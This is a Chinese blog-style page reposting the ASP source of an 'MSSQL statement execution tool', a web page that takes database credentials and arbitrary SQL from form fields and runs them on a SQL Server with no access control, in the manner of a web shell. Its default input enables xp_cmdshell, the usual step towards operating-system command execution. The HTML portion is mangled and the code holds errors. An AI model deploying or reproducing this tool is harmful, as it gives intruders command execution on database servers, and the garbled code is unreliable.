asp命令执行语句】_MSSQL语句执行工具asp版

b7ba92feafc80d00d05224ef77a2a62e.png

刹客网络科技资讯 点击右侧关注,最新科技资讯! 194be06dba330c847f825294d55d6b8e.gif
Dim Sql_serverip,Sql_linkport,Sql_username,Sql_password,Sql_database,Sql_contentSql_serverip=Trim(Request("Sql_serverip"))Sql_linkport=Trim(Request("Sql_linkport"))Sql_username=Trim(Request("Sql_username"))Sql_password=Trim(Request("Sql_password"))Sql_database=Trim(Request("Sql_database"))Sql_content =Trim(Request("Sql_content"))If Sql_linkport="" Then Sql_linkport="1433"If Sql_serverip<>"" and Sql_linkport<>"" and Sql_username<>"" and Sql_password<>"" and Sql_content<>"" Then  Response.Write "执行结果如下:"  Dim SQL,conn,linkStr  SQL=Sql_content    set conn=Server.createobject("adodb.connection")  If Len(Sql_database)=0 Then    linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password  Else    linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password & ";database=" & Sql_database  End If  conn.open linkStr    ' "Driver={SQL Server};SERVER=IP,端口号;UID=sa;PWD=xxxx;DATABASE=DB"    conn.execute SQL    on error resume next    if err<>0 then     response.write "错误:"&err.Descripting  else     response.write Replace(SQL,vbcrlf,"
") & "
成功!" end if Response.End End IfIf Request("do")<>"" Then Response.Write "请填写数据库连接参数" Response.EndEnd If%>"pragma" content="Cache-Control" content="expires" content=MSSQL语句执行工具"100%">"post" action=
"1" width="100%"> "2" align="center"> "5">MSSQL语句执行工具asp版 "1px"> "2" align="center">数据库连接设置 "80">SERVERIP:"text" name="Sql_serverip" style="width:150px;"> "80">LINKPORT:"text" name="Sql_linkport" style="width:150px;"> "80">USERNAME:"text" name="Sql_username" style="width:150px;"> "80">PASSWORD:"password" name="Sql_password" style="width:150px;"> "80">DATABASE:"text" name="Sql_database" style="width:150px;"> "100%">
style=' color: #990099; background-color: #E6E6FA; border: solid 2px black; width: 100%; height: 180px; scrollbar-face-color: #DDA0DD; scrollbar-shadow-color: #3D5054; scrollbar-highlight-color: #C3D6DA; scrollbar-3dlight-color: #3D5054; scrollbar-darkshadow-color: #85989C; scrollbar-track-color: #D8BFD8; scrollbar-arrow-color: #E6E6FA; '> "Sql_content" style='width:100%;height:100%;'>EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
"submit" value="执行命令"> "100%"> width= 64416a6f47bfc321e8afde703de43a3a.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值